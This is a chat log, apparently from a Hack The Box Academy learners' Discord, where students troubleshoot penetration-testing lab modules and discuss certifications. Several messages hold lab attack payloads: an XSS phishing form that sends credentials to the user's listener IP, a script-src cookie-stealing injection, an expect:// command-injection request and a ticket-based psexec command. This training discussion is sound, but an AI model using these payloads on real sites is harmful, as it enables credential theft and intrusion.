VPN access into their internal network (a bit limiting because we will not be able to perform certain attacks such as LLMNR/NBT-NS Poisoning).
Can someone explain to me why we wouldn't be able to perform LLMNR/NBT-NS Poisoning?

Can't responder be started and the attack carried out from a machine that we compromise?

[split glade]

Yes but after having a foothold, and it's especially interesting to get a foothold (my understanding)

[proud notch]

I don't think I have the skill or vision to optimize it more than I already have, going from the hint I removed the last part but from what I'm seeing the final byte size is still too high, if we're supposed to make it an elf64 executable afterwards.

[normal sand]

Wdym by "it's especially interesting to get a foothold"?

[next bronze]

use the hint and the Shellcoding Techniques section

[split glade]

It's a great attack vector to get a first domain user, to "set a foot" in the AD*

[limber river]

just use the hint

[next bronze]

you just send the shellcode btw, you don't have to compile

or rather just extract the shellcode because the compiled binary will be a lot bigger

[next bronze]

the IPs you get through a vpn is usually in another subnet and the traffic will route through the VPN gateway to reach the internal network, so there wouldn't be any LLMNR/NBT-NS to poison. once you have compromised a host of course then you can run your posioners there locally

[normal sand]

Understood, thanks.

[normal sand]

Just so I'm understanding this right. When you connect via a VPN, you'll get access to a separate subnet, this subnet will then communicate with resources on the internal network through a "VPN gateway" that separates the VPN subnet from the internal network. So like this:
Me at home → (Over VPN) → VPN subnet (at company) → VPN gateway → Internal resources

[normal sand]

And since there are no resources on the VPN subnet, I can't perform LLMNR/NBT-NS poisoning? Isn't it possible for other people (targets) to be connected to the VPN subnet on whom I can perform the attack when they try to access an internal resource?

[next bronze]

that is generally the case but it depends heavily on their configuration, but yes usually its isolated

[normal sand]

Also, am I understanding the following statement correctly? I've drawn a diagram based on it.

A custom pentest VM within their internal network that calls back to our jump host, and we can SSH into it to perform testing.

[next bronze]

there usually isn't much traffic inside the vpn subnets and again depends on how it's configured, you might not even be able to reach the other vpn hosts

[normal sand]

Understood, so it all depends on the configuration. Thanks!

[next bronze]

something like that, usually it's you connect to the vpn provided, then rdp/ssh into their internal host for your pentests

[normal sand]

Got it, thanks.

[proud notch]

@limber river @next bronze I can proudly tell you I'm an idiot that thinks to much and made this much harder than needed. With that being said I figured it out. Thank you.

[round moat]

hey guys!!
Connect to the MSSQL instance running on the target using the account (backdoor:Password1), then list the non-default database present on the server.
How should I connect?
I used python3 mssqlclient.py backdoor:Password1@<ip> , but still cant connect to it

what should I do need help

[muted kindle]

wat authentication does it use ? does it tell u

[round moat]

no

[next bronze]

whats the error

[round moat]

i used msfconsole
and it says login failed unable to connect

[next bronze]

what's the error from mssqlclient? and what's the module and section

[round moat]

I cannot get anything
select name from sys.database is not running

[split glade]

This might be related #modules message

[strange aspen]

can someone help me with the file upload attacks type filter?

[bright ore]

hey, i know i already see this background on an app but don’t remember the name, it can make topology and other stuff

[normal sand]

draw.io

[bright ore]

thanks

[novel iris]

Hi all, I am on the Kerbal Exploit module. Copied the Registry Hives, also priv. esc. to Admin. Upon opening the PS shell as admin and accessing the directory C:\Windows\temp none of the copies hives are there. I have also manually copied it, still nothing shows, any ideas? Thanks in advance!

[rustic sage]

Is there a way to make the yellow banner at the top of the page for all modules go away?

I tried using ublock origin but it just broke the page more

[normal sand]

I'm in the AD enum and attacks module right now and I had a thought about Nmap I wanted to check with ya'll.
Is there a difference between the two scans below?

# Scan 1
sudo nmap -sV -sC -Pn -n -iL hosts.list

# Scan 2
sudo nmap -sV -sC -A -Pn -n -iL hosts.list

I know that -A performs some more stuff like OS detection and whatnot but I've had instances where sometimes performing scan 2 will leave out information I found in scan 1. Any of ya'll face similar issues?

Just to be clear, I did not face this issue in the module I'm currently doing.

Ya'll can ignore the -iL hosts.list since when I faced this issue, it was against a single IP address/host.

[next bronze]

more flags just check more things, you shouldn't get less information in return

[normal sand]

I think it happened to me on one of the machines on the main platform, Crafty iirc. But good to know that information shouldn't be less. So it's always better to have -A in there?

[fierce mason]

can someone help with this

[next bronze]

depends on how you want to scan it, -A checks more things but your scans will also take longer

[next bronze]

just ask bud

[fierce mason]

on the tomcat host in the internal network (MS01), is the login supposed to be bruteforcable, because i my attempts seem to keep timing out

[next bronze]

timing out or failed to find the right creds

[fierce mason]

it times out before it reaches the last set of creds

[next bronze]

it shouldn't timeout, you need a stable connection to interact with other hosts too

[unreal seal]

Can someone help me in this question from DNS Enumeration using Python
Investigate all records for the domain "inlanefreight.com" with the help of dig or nslookup and submit the one unique record in double quotes as the answer.
I have saw all the records using dig and nslookup but no record stands out except SPF.
Update: Solved

[normal sand]

Does it perform active vulnerability checks?

It doesn't, right? At least I didn't see anything in the documentation about it doing so.

[next bronze]

no

I mean, don't use namp for vuln scans

[ionic egret]

Linux privilege escalation - Environment enumeration, trying to submit the flag but says its wrong, can anyone help out?

[storm elk]

You sure there is no trailing space?

[ionic egret]

yup made sure to copy the flag only, no spaces

[next bronze]

did you get the right flag

[normal sand]

In this module, there's the following command, but when I run it, it doesn't write the usernames it found to the file. It just outputs in the terminal and the file is empty. What's wrong with the command?

kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_users

[turbid jewel]

Hi

[fathom pendant]

yeah... it's dumb

submit to #1234357888114364508

[turbid jewel]

Anyone know's how the format of the question Review the PATH of the htb-student user. What non-default directory is part of the user's PATH? Module: Linux Privilege Escalation, is the full path? I'm having a very hard time here

[normal sand]

Should I just redirect output?
command > file.txt

[fathom pendant]

it likely won't have the desired output

[ionic egret]

yeah theres only 1

[fathom pendant]

as > redirects all the stdout, where the output command could do something additional

[normal sand]

Yeah, it won't. And what's surprising is that the help page for kerbrute shows that the correct option is used. So do I still need to submit to #1234357888114364508?

[fathom pendant]

yes

[normal sand]

Ok

[fathom pendant]

as the tool isn't working as intended

[normal sand]

What do ya'll CPTS people do in this case?

[fathom pendant]

use a different tool

[next bronze]

kerbrute is just an old and buggy tool tbh

but there's not really a replacement for it

[fathom pendant]

can't you do it with nxc/cme?

[normal sand]

Oh, what's recommended in its stead?

[normal sand]

Welp

[next bronze]

doesn't do kerberos, it's much faster

[fathom pendant]

[next bronze]

it be like that

[normal sand]

Ya'll do some kinda grep on the output to get the usernames then?

[next bronze]

I use tmux so it's easier to me to manage outputs and search through them afterwards, idk what other peope would do tho

[next bronze]

what's the first and last letter inside {}

[normal sand]

Search through them? I'm using kerbrute to enum users so I wanna get a list. I use tmux too, but I don't think there's a way to extract the usernames using it, right? I'll have to do some sort of text redirection and formatting, yeah?

[ionic egret]

S...d

[normal sand]

Also, what ya'll do for CPTS exam and pentests then? How do ya'll report the output? Copy-paste?

[next bronze]

yeah not the right flag

[next bronze]

copy mode and just copy

I have a script that will copy the output from the last command

but yeah redirection should work in this case

[normal sand]

That's neat.

[next bronze]

I like to copy and paste into code blocks, personally I feel they're better, but some of my colleagues use screenshots, doesn't really matter

[normal sand]

What's the recommended method for CPTS reporting?

Or just in general?

[normal sand]

Also, what tool do you use for reporting that lets you copy-paste to code blocks?

[fathom pendant]

there's templates publicly available if you check #cpts

there's also the Documentation and Reporting module

[normal sand]

Noted. Thanks Marice.

[normal sand]

Haven't reached there yet but good to know it's covered.

I did read a bit of it briefly once a long time back.

[fathom pendant]

Documentation and Reporting pulls together practically everything you did up until that point in the path

then Attacking Enterprise Networks is the Mock Exam

doing that blind (don't read the questions or text) is a good sign you'll be in the right mindset for the exam

[normal sand]

Does documentation and reporting contain another pentest to walkthrough and document?

[normal sand]

Do it blind the first time or second time?

[fathom pendant]

first

it's not blind if you already saw it once

[normal sand]

True

I'll have to organize my mess of notes before that module then.

[fathom pendant]

it has a report for that module that's referenced

[normal sand]

That module?

[fathom pendant]

Documentation and Reporting, yes

[normal sand]

Oh, okay, got it.

[fathom pendant]

AEN itself is the walkthrough for itself

that's why it's recommended to do it blind

[next bronze]

there's a neat trick where copying stuff from vscode into msword will retain the font, highlighting and even the theme, so I just do that

notes on the engagement is is obsidan, then final report is in ms word, so just transfer them around

[normal sand]

The Object > Open Document trick?

[normal sand]

I see. I was thinking of doing the same.

[next bronze]

no just directly copy from vscode to msword, you can give it a try

[normal sand]

What in the world kinda format is this? I was trying to grep '@inlane' the output of kerberos.

[normal sand]

Oh ok.

[normal sand]

If you don't mind answering, what's your personal folder structure preference when notetaking on an assessment? Do you create a folder for each host?

@fathom pendant what should I tag the #1234357888114364508 as?

[fathom pendant]

target error

[next bronze]

nah thre can be hundreds of hosts, I gorup them by findings, similar to of the report template actually

[fathom pendant]

[normal sand]

By findings? How do you mean?

[next bronze]

special characters use to add highlighting to your terminal, you can use ansifilter to remove them

[next bronze]

check the report template

findings/vulnerabilites

[normal sand]

I don't see that section?

[next bronze]

technical findings details

[fathom pendant]

Technical Findings

[normal sand]

Ohh, okay.

[rustic sage]

Attacking web applications with ffuf
Value Fuzzing

seems that everything is accepted, however when i try to use that as one of the ID it claims the ID is invalid

[fathom pendant]

sounds like you need to filter a size

[rustic sage]

yes but when i filtered for 768

the ID wasn't correct

holdon actually

[fathom pendant]

also delete this since it's spoiler

[rustic sage]

got it

@fathom pendant done it :D

gg

[vague sage]

whaaat

i cant progress on different paths because of my lack of cubes

do i have to pay for subscription or something?

[normal sand]

Do you use Obsidian's Canvas feature or something to keep track of your attack path during an engagement?

I'm currently struggling in coming up with a way to keep track of what I've done in an engagement. I'm assuming the Documenting module will cover that?

[dim wolf]

yes

[next bronze]

I use the excalidraw plugin, but I haven't found making diagrams helpful even for complex stuff, usually just a descriptive heading and reading the commands will do but YMMV

[vague sage]

damn bru

a sacrifice to learn

hell yeah

[dim wolf]

you can also give people your referral link

they have to purchase a subscription though for you to get cubes

[vague sage]

only its like 20eu instead of 16 taxes go crazy

[normal sand]

So the method you primarily use is multiple note files linked to one-another. A note file representing one finding/vulnerability?

[vague sage]

good to know thank you

[next bronze]

nope I just use one file for one engagement with different heading levels for different things, but this is really down to preference

[normal sand]

Some sort of plugin you use to have a bird's eye view of the headings? Cuz I imagine the file can get quite long.

I'm still exploring ways, so don't have many preferences set yet. Tryna hear what people use, and then test and combine those ways to find my own.

[next bronze]

you can see the headings in the right sidebar

[normal sand]

Really? It doesn't show for me in Obsidian.

[normal sand]

Holy, I never noticed it... Thanks 😂

I've noticed Heading 1 doesn't show, why is that?

Is it considered to be Title?

[next bronze]

it does for me

[simple loom]

Sorry, I missed the message. Can I DM u??

[normal sand]

Have you posted the script anywhere?

[oak girder]

Hello, may I ask why my PWNbox cannot be opened?

[normal sand]

Have you tried refreshing?

[oak girder]

Sorry, I didn’t understand the meaning of refreshing, but I tried restarting the web page and exiting the browser

[vague sage]

yeah restarting the web page is refreshing it

[bright ore]

Flush your cookies and tries again

[next bronze]

I have not, it was a real pain to write so I'd just use it for myself

[fathom pendant]

<@&861185840277487616> spam in all channels

[fringe urchin]

[storm elk]

Stop breaking rules Marcie

😚

[oak girder]

Thank you, I cleared the cookies and can enable them

Can Pwnbox save its own content? I remember that it can save some of the user's content.

[vague sage]

ive done my first ever hack with metasploit (on cracking HTB path)
im very proud

do i call myself a hacker now?

[dim wolf]

no we call you skid

[trail sail]

Does anyone know what the purpose of using dnscat2 was in the module on Pivoting, Tunneling, and Port Forwarding, specifically in the section on DNS Tunneling with Dnscat2? I was able to get the flag without creating a session with dnscat2

[vague sage]

nice
feels good

wait is skid like the lowest
skid as in beginner/new/baby in this, type shit?

[silk anchor]

script kiddy

[vague sage]

ye i know

idk how to explain it though

[fathom pendant]

Not for Academy, or at least not much

[fathom pendant]

Skid means you run scripts without knowing what they do

Then complain when your copy/paste doesn't work without reading the error

[vague sage]

ye ye i mean
am i one level above from before

thats what i meant
or i still dont know how to explain it

OH
was i a skid from the very beginning or nah
those are noobs or something less

type

[fathom pendant]

No

[vague sage]

dang

[native turtle]

Hi there in AD skills assessment part 2 I'm on SQL01 with system level privileges, I would like to transfer some file in the parrot os attack box with smbserver, I think I had setup properly infact when I copy the files I received connection received with the relative hash but the file are not transfered in my parrot box, what can possibly be the problem?

[fathom pendant]

What academy module is this related to

Read #rules and #welcome

[slender river]

d4rkcr4ck3r is a scammer guys take care of him

[fathom pendant]

Of its someone ransom dming you message a mod/admin

[vague sage]

ping him

or better yet hack him

[fathom pendant]

Seems they aren't in the server (or mobile is being dumb)

[fathom pendant]

This isn't a revenge hacking server

[slender river]

Yeah i know

I am just telling whoever is here that’s all

[fathom pendant]

We genuinely don't care

[slender river]

Thank you

[fathom pendant]

Idk what you expected out of "take care of him"

[slender river]

Take care not to scam anyone

[fathom pendant]

Just ignore and report

No

[vague sage]

lmao

[fathom pendant]

Since it seems unrelated to HTB, and seems sus af I'm declining

Yeah you're trying to hack a fucking lottery system you nonce

It's not even a shitty web challenge

<@&861185840277487616> literally wants help to hack a lottery

[fierce mason]

did you have to download another wordlist or is the wordlist mentioned in the modules/on pwnbox

[fathom pendant]

Fucking NO read the #rules you're literally asking do something illegal

[next bronze]

just the defalt wordlists, if you get no resits then move on

[storm elk]

I could use those winning numbers. I’d give you all a free tier 4 module

😅

[fathom pendant]

Im good lmao

[vague sage]

yessirrr subscription

[fierce mason]

is the host needed to get further into the network

[vague sage]

if i cancel my subscription will it stay active until the end of the month?

[fierce mason]

because i can only see three hosts, one that i have system on, this one, and the domain controller

[fathom pendant]

It'll stay active until the next billing cycle

[vague sage]

oh good

[fathom pendant]

So whenever it would renew the next time

[trail sail]

Guys i get access to the flag in SOCKS5 Tunneling with Chisel module Pivoting, Tunneling, and Port Forwarding , but it says that the flag is wrong, could it be that someone altered the flag by mistake?
The question of the module is this one>
Using the concepts taught in this section, connect to the target and establish a SOCKS5 Tunnel that can be used to RDP into the domain controller (172.16.5.19, victor:pass@123). Submit the contents of C:\Users\victor\Documents\flag.txt as the answer.

[vague sage]

ye i got you thnk you

[fathom pendant]

Flags can't be altered by other users

[trail sail]

Should i open a ticket?

[fathom pendant]

It starts with H and ends with !

Make sure no additional spaces or anything like that

[trail sail]

Bro.... My mistake, i was entering the wrong flag

[fathom pendant]

You're likely looking in the wrong place then

Wait

Wrong section I'm looking at

It starts with T and ends with !

[trail sail]

Sorry, my bad lol

[fathom pendant]

I'm used to people getting stuck on the double pivot section of this module

[trail sail]

Yup, i was looking in the wrong place :c

[heavy carbon]

Hello, in the final part of the Windows Fundamentals module there's a question asking to get the SID of a user you create manually. Aren't SIDs unique? I've tried everything and I always get it wrong

[west canopy]

maybe try this? https://www.lifewire.com/how-to-find-a-users-security-identifier-sid-in-windows-2625149

SIDs are unique in that two users will not share the same SID. But just because each user has their own SID, does not necessarily mean the SID is impossible for us to find 😉

[heavy carbon]

Yep, did exactly that. Everything lines up for the first part (S-1-5-21) as in the hint, but still counts as incorrect.

[west canopy]

can you show me?

[heavy carbon]

i got "S-1-5-21-2614195641-1726409526-3792725429-1004", copy pasted that but it's incorrect

[west canopy]

okay but where are you getting that from?

[heavy carbon]

wmic useraccount get name,sid in powershell

[west canopy]

can you show me a screenshot?

[west canopy]

any chance you created a new user and then deleted them ?

[heavy carbon]

I think i did

[west canopy]

yep thats the problem . Respawn the target machine, make a new user named jim, and then run that command

[heavy carbon]

alright, tyvm!

[fathom pendant]

There actually is a science behind it

It's not wholly random

[west canopy]

yes i ended up using the extraSIDS attack yesterday to pwn a parent domain

feelsgoodman

[heavy carbon]

Congrats! I searched about exactly that, and a couple sites said it was all RNG. Interesting, thank you guys

[west canopy]

nice work 😉

[fathom pendant]

Admins 5xx, users 1xxx at the end

[west canopy]

and everytime we add a new user, the corresponding SID goes up incrementally

[fathom pendant]

Which is why it's extra important to trim dead SIDs

Proper user management

Oi <@&861185840277487616> they're back

[oak girder]

I would like to ask why I use xfreerdp /u:administrator /p:'xxxx' /v:10.129.xx.xx. After a few clicks, the entire target becomes invalid. I cannot ping directly and cannot operate anything. regenerate

[fathom pendant]

Try switching vpn regions

If it's consistent regardless of vpn region, message support

[west canopy]

depending on the lab , you may need to give the target a few minutes to fully boot up

[sleek urchin]

Doing Kerberos Attacks:Constrained Delegation from Linux and I got the following error

anyone has any idea why this could happen ?

[cedar void]

I am working on the phishing section of the CROSS scripting module and I don't know what I am doing wrong:
The link to the module and the question:

https://academy.hackthebox.com/module/103/section/984

"Try to find a working XSS payload for the Image URL form found at '/phishing' in the above server, and then use what you learned in this section to prepare a malicious URL that injects a malicious login form. Then visit '/phishing/send.php' to send the URL to the victim, and they will log into the malicious login form. If you did everything correctly, you should receive the victim's login credentials, which you can use to login to '/phishing/login.php' and obtain the flag. "

The payload I generated after sending this command ||(document.write('<h3>Please login to continue</h3><form action=http://10.10.15.204><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');)|| to the 'Online Image Viewer' imput of this link(http://10.129.127.112/phishing/index.php):

||http://10.129.127.112/phishing/index.php?url=document.write('<h3>Please+login+to+continue<%2Fh3><form+action%3Dhttp%3A%2F%2F10.10.15.204><input+type%3D"username"+name%3D"username"+placeholder%3D"Username"><input+type%3D"password"+name%3D"password"+placeholder%3D"Password"><input+type%3D"submit"+name%3D"submit"+value%3D"Login"><%2Fform>')%3B||

And then when I try to execute the above command (after creating the index.php file that contain my Machine IP address and issuing the command ||sudo php -S 0.0.0.0:8181|| on pwnbox) in the input box on this link(http://10.129.127.112/phishing/send.php) I get the 'Issue in sending URL!' error

[silent sleet]

for INTRODUCTION TO DIGITAL FORENSICS - Skills Assessment, we are supposed to run Velociraptor collections and download CSV and JSON files? How are we to analyze these, I see we have no python or other tools. Just open them up and manually sift through them?

[west canopy]

this might be a dumb question, but you have DC01 added to your hosts file right?

[sleek urchin]

this might be a dump answer, I did add DC01 added to my hosts file

[west canopy]

maybe try using describeTicket.py against your ccache file?

https://github.com/fortra/impacket/blob/master/examples/describeTicket.py

[sleek urchin]

I will see, thank you for the suggestion

[west canopy]

everything looks right.. is your impacket updated to the most recent version?

[spark spruce]

Specify port with your ip

[cedar void]

port for which IP ?

[spark spruce]

10.10.15.204:8181

[sleek urchin]

yes, I removed the old one and installed it again

but i don't believe it's from impacket, since NetExec shows similar error

[cedar void]

I still get the same issue:

Isn't the port for both the php command and the port for the home IP address suppose to be the same?
|| sudo php -S 0.0.0.0:8081

document.write('<h3>Please login to continue</h3><form action=http://10.10.15.121:8081><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');||

[spark spruce]

Try to close java script

[west canopy]

i remember crackmapexec using a ton of impacket libraries, so i suspect netexec probably has similar dependencies. I just worked through the lab on my end , feel free to DM if you want to compare notes.

[cloud urchin]

the errors are related to authentication, looks like you have a ccache file with bad creds or creds that can't auth against the target

[west canopy]

yea, we can't see what he entered for beth.richards password... but i can see he is using impacket v 0.9.19, when on my end i'm using v0.11.0

[viral slate]

[HTTP ATTACKS - HTTP RESPONSE SPLITTING]
Hey guys!
Currently working on question of this section. My payload worked for user, but still struggling with admin.
Can I have a nudge?

[sleek urchin]

same error occurs even with new version on impacket

[cedar void]

Thanks that fixed it

[sleek urchin]

that will be great

[cloud urchin]

That error means invalid creds

[sleek urchin]

but the creds are not a part of the attack, I am passing a ticket to authenticate with

[cloud urchin]

the ccache file is the creds in this case

you can DM me your commands to obtain the ccache i can verify for you if it looks right

[sleek urchin]

sure thing

[manic spoke]

Don't know if this is the right place to ask but, on the file inclusion skill assessment, I am REDOING it for practice, and it's not working (Positive I am doing it correctly as well). Is this a common issue? I don't want to release any spoilers though. Is there anyone I could DM perhaps?

[muted kindle]

The log poisoning tend to get bugged at times I had to reset the target

[cloud urchin]

you can dm me

[stark valve]

yo anyone know the answer to this question " Using the skills acquired in this and previous sections, access the target host and search for the file named 'waldo.txt'. Submit the flag found within the file.'

its on INTRODUCTION TO WINDOWS COMMAND LINE

[eager ledge]

It happened again!
This time, I am using VPN region US-Academy-2. SSH completes, but immediately after that exits. Doesn't give me a shell.

nmap scan on the target works. But I cannot SSH into it

I have been trying to do this exercise since like forever, but SSH never succeeds. I have tried changing VPN regions, but to no avail.

[autumn pilot]

The screenshot shows that you are actually in an SSH session

[eager ledge]

RIght! How could I miss that!

Thanks!

[round moat]

Enumerate the target Oracle database and submit the password hash of the user DBSNMP as the answer.
How to do this, I have used sqlplus scott/tiger@<ip>/XE as sysdba

how to solve this

[viral slate]

[HTTP ATTACKS - HTTP RESPONSE SPLITTING]
Hey guys!
Currently working on question of this section. My payload worked for user, but still struggling with admin.
Can I have a nudge?

[round moat]

help me with this

[short hare]

@icy bramble heey are stuck at Child->Parent Trust from windows

You can DM me if still stuck

[next bronze]

did you guys figure it out? if not use only the FQDN for impacket and let it get the informaiton from the ticket itself

i.e. psexec.py DC01.INLANEFRIEGHT.LOCAL -k -no-pass

[void hemlock]

can I ping someone for the module: MODERN WEB EXPLOITATION TECHNIQUES

[winged egret]

hello guys in the linux privesc skills assessment, Note: There is a way to obtain a shell on the box instead of using the SSH credentials ... Can any1 point me in the right direction ? I tried to enumerate the web app for any vulnerabilities, bruteforced tomcat login on port 8080 and mysqlx doesnt seem to be anything of value

[wooden summit]

Hi there everyone!
I 'm doing the CPTS path. I 'm at footprinting-> DNS

I 've reached the last question on discovering sub domains using bruteforce. I have tried ALL lists within the SecLists folder, and none returns the x.x.x.203 IP for the network. What is my error?

[carmine minnow]

hi guys, i'm doing the CDSA path, i'm at windows event logs & finding devil. I'm trying to ask the two questions:"By examining the logs located in the "C:\Logs\DLLHijack" directory, determine the process responsible for executing a DLL hijacking attack. Enter the process name as your answer. Answer format: _.exe" and "By examining the logs located in the C:\Logs\Dump directory, determine the process that performed an LSASS dump. Enter the process name as your answer. Answer format: _.exe" but I can't find the answer can someone help me pls?

[normal sand]

What is this format? F9L8? I don't get what it means.

[carmine minnow]

because I would also like to switch to splunk

[tranquil axle]

F9L8 is an example user name, but all user names were just 4 letters using A-Z and 0-9, so there is a very limited space of user names available

[normal sand]

Ahh, okay. Thanks.

[muted kindle]

If u use powershell u can read logs id 7 that have unsigned dll
As for lsass its read id ProcessAcess(idk what’s this id i forgot) and target is lsass, source doesnt belong in system32 (as some windows processes need access normally)

[carmine minnow]

you say I do it first from powershell compared to event viewer

[muted kindle]

It’s gonna be a lot easier to filter from powershell

[carmine minnow]

ok thank you

[meager topaz]

hey!

[muted kindle]

hi

[limber surge]

has the spawning been these slow lately?

[vague sage]

alright well
Once you gain access to 'user2', try to find a way to escalate your privileges to root, to get the flag in '/root/flag.txt'.

uhh privilege escalation/cracking into hackthebox

how am i supposed to escale root privileges

[stable bone]

can i get some help please

[rustic sage]

@stable bone sure

[vague sage]

nvm got it

[carmine minnow]

I managed to find the first one, I'm missing the last one

that is, the one with lsass

[muted kindle]

how are u filtering lsass
dm?

[royal cloud]

Sorry, this is definetly not the right spot but I don't know what to do, I don't have the ability to message in any HTB Serious Discussion threads of Off-topic, I'm new here, is that normal??

@urban sage Sorry for the ping, figured this was a questions for mods, hope that's allowed! 😅

[silk anchor]

#welcome

[royal cloud]

Lol, that is embarassing, I swear I read it, I just missed that vital part! Thank you so much!

[urban sage]

Glad you figured it out. :D

[vestal dust]

i am doing CROSS-SITE SCRIPTING (XSS) path i am stuck a session hijacking modules
can anyone please help me
i am using this payload<script src=http://<ip>:3333/script.js></script>
where should i inject this ? i tried in profile url text box
no response
i have saved script.js and index.php and php server running
but i am not able to find cookie

[normal sand]

Throughout this section they've mentioned PasswordComplexity=1. What does it mean?

[muted kindle]

im assuming its LAPS setting?
https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-concepts-passwords-passphrases#password-character-sets

[normal sand]

There's been no mention about LAPS so far in the module, but it seems to make sense. Thanks.

[next bronze]

nah it's not LAPS
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-gpsb/0b40db09-d95d-40a6-8467-32aedec8140c

it's just a flag on whether complexity req is enforced

Flag that indicates whether the operating system MUST require that passwords meet complexity requirements. If this flag is set, it indicates that passwords MUST meet a specific minimum requirement.

[muted kindle]

it's weird

This value MUST be between 0 and 2^16
so 1 and 2 mean required?

[next bronze]

A value of 0 indicates that no password complexity requirements apply. Any other valid value indicates that password complexity requirements apply.

[spark spruce]

DM

[normal sand]

Thanks. But it doesn't specify what the complexity is?

Oh, found it. There's minimum requirements.

[next bronze]

the complexity is determined by the other values

[normal sand]

Just so I know, how did you find this link? As in what was your search query.

[normal sand]

So it doesn't necessarily need to follow the image I sent, it depends on what's defined in the policy?

[next bronze]

active directory policy "PasswordComplexity"

[normal sand]

Just found this when I continued reading.

Btw @next bronze if you don't mind me asking, how much recognition has CPTS got in SG?

[next bronze]

that's just the mimimum, the other values will override it if it's more strict, i.e. Minimum password length: 8

[next bronze]

people working in the field know it, but you'd still need oscp

[normal sand]

I see. Thanks. Got any idea how likely it would be for a fresh grad to a job and work visa sponsorship with CPTS + OSCP?

[next bronze]

I don't know. getting a company willing to sponsor is the hard part

[normal sand]

Alrighty, I figured as much. Thanks.

[next bronze]

you can check what roles are open and contact those companies

[normal sand]

By the time I get CPTS and then OSCP, I'll no longer be a "fresh grad" but just a grad with no experience

[next bronze]

try landing internships to build experience, and it will be much easier to move to full time afterwards

[summer swallow]

Hey, just completed the linux fundamentals module. Finally.... There were great exercises at the beginning and the middle sections of the module, which I enjoyed solving. But towards the end, there were more theoritical sections without any exercises..... Nevertheless, I studied them also dilligently and made notes. Those end sections demonstrated many methods, like how to configure different tools, which I didn't replicated on my VM as that would take a lot of time, doing that for each section. I think when I would encounter these tools, I would learn. Am I correct ? Should I replicate each method like how to mount NFS, how to configure firewall, How to use AppArmor, how to use Docker, etc..... Can I just have a theoritical knowledge of them now and when the time comes to use them, as I have already developed a familiarity, I would learn to use them ?

[next bronze]

or do both at the same time, internship and studying for certs

[normal sand]

I've got one internship under my belt but it's just a regular IT internship.

[normal sand]

I've thought about that, but it wouldn't work with my current situation. Maybe I'll knock out the CPTS first, and then try getting an internship while doing OSCP.

[next bronze]

that's still pretty good, I don't think pentesting internships exists

[normal sand]

Yeah, they're quite rare.

[summer swallow]

Drawbacks 🙂

[next bronze]

if you can get cpts you can kock oscp out in a month

[normal sand]

What about going through all the content (80% of the course) and all the challenge labs for the bonus points? Can be done in a month? Is it really that easy compared to CPTS? 😂

[next bronze]

I don't think you necessarily need to replicate them but just read those up and get familar with how to spot them

[next bronze]

I did it in 2 weeks so

[normal sand]

Including bonus points??

[next bronze]

yeah the bonus points are easy to get

[summer swallow]

That's what I am doing currently, by taking extensive notes..

[muted kindle]

cool now it tells us servr load

[normal sand]

I should let you know that this CPTS course is my very first time dealing with this much pentesting stuff, max I've done in the past was some metasploit stuff.

Think it's still ok to do the OSCP that quickly after CPTS?

[next bronze]

https://xre0us.io/posts/cpts-oscp-and-you/

[normal sand]

I also heard from someone that when doing the OSCP labs to avoid using the kernel exploits path and go for solving the boxes by misconfiguration? It's supposed to be better for practice?

[normal sand]

Read it already before starting the Penetration Tester path.

[next bronze]

are there even many kernel exploits in oscp? can't remember but do a bit of everything and be ready for whatever they throw at you imo

[normal sand]

Alrighty. I wouldn't know since I haven't taken the course yet.

[next bronze]

that's the case for many people, you'll be fine

[normal sand]

Reading the part about writing custom code on your OSCP exam got me a little shocked for some reason the first time I read it.

Just wasn't expecting that, but like you said, there might've been another easier attack path available.

[next bronze]

https://tenor.com/view/it-be-like-that-sometimes-like-that-sometimes-snoop-dogg-sometimes-just-like-it-gif-12501830

[summer swallow]

Great blog for a beginner like me to understand how to take the maximum benefit of HTB Academy...... read the initial part, saved it to complete. BTW, Can u please elaborate on your avoiding to ask for help thing ? Like everywhere people say it is okay to use writeups. What should I do if I am stuck on a question for an hour or two or a day ? Please explain. Would love to know the thought process and implement it to my learning.

[noble igloo]

Thats right

[next bronze]

I'm not saying don't ask for help, I'm saying the process to find the solution yourself will be more rewarding and meaningful than simply just reading a writeup. if you've exhausted all your options, ask by all means. but make sure you've done your due diligence before that

[summer swallow]

Okay.... so exhausting my all known options is the line..... got it.... BTW, what is the max time u gave to a problem during the CPTS path ?

[next bronze]

I don't remember I don't have a hard limit on it

[void hemlock]

Can I ask you a quick question regarding another module: modern web exploitation techniques?

[next bronze]

I haven't done that module

[median gust]

can someone help me with the enumeration with nmap boxes in academy

[silk anchor]

I have a question about the final challenge of the Shells and Payloads module.
||When I am trying to enumerate host 1 using Parrot foothold box, is my only option for accessing web based interfaces using the Links 2 browser or am I missing something?||

||I guess I can use the browser built into burp suite actually||

[modern spear]

Can anyone help me a little bit about the wrapper section in file inclusion module, i can retrieve the flag using data and input wrapper but the expect wrapper not work. I've already check the configuration of Apache have extension=expect. Then i'm directly use the command curl -s "http://ip:port/index.php?language=expect://id". Am i missing something?!

[fathom pendant]

firefox in terminal

[carmine minnow]

now, i'm trying to use event viewer

[silk anchor]

Thanks, I completed the flag using the burp suite chromium browser but this will be good to know for later.
Any idea why firefox doesnt show up when searching for applications? Or has it just been hidden on purpose to make you use your brain?

[muted kindle]

Still need help? We can move it to DMs

[carmine minnow]

Not for now, but if I need it I'll contact you

thanks

However I managed to find the answer

[muted kindle]

Through event viewer?

[carmine minnow]

yesss

[muted kindle]

Would you like to know the powershell method

[void hemlock]

is someone free to help me for the modern web exploitation techniques?

[carmine minnow]

I used the keyword: lsass.exe and went through every registry that had that word to check the responsible process.

I did the simplest thing ever

[muted kindle]

That's not efficient I've sent you powershell

[carmine minnow]

i know

[muted kindle]

Basically, i checked in event viewer the order of the fields and filter in powershell

[carmine minnow]

but in the meantime I succeeded

[carmine minnow]

i've seen

[muted kindle]

Ok great

[carmine minnow]

I'll keep it in mind, thank you very much

[old oasis]

I am stuck at the OTP section of the updated broken authentication - skill assessment. I tried with multiple digit codes up to 6 and it didnt work. I don't know how to figure out what the length of the OTP is either and there is nothing from what I can see in the code to tell otherwise. Any tips?

[spiral pelican]

Hey. Anyone did the C2 sliver module and can give me an hit for the first question of the Skill A.b part ? I tried Kerberoasting, seatbealt, etc but cant find any things 😦

[sacred laurel]

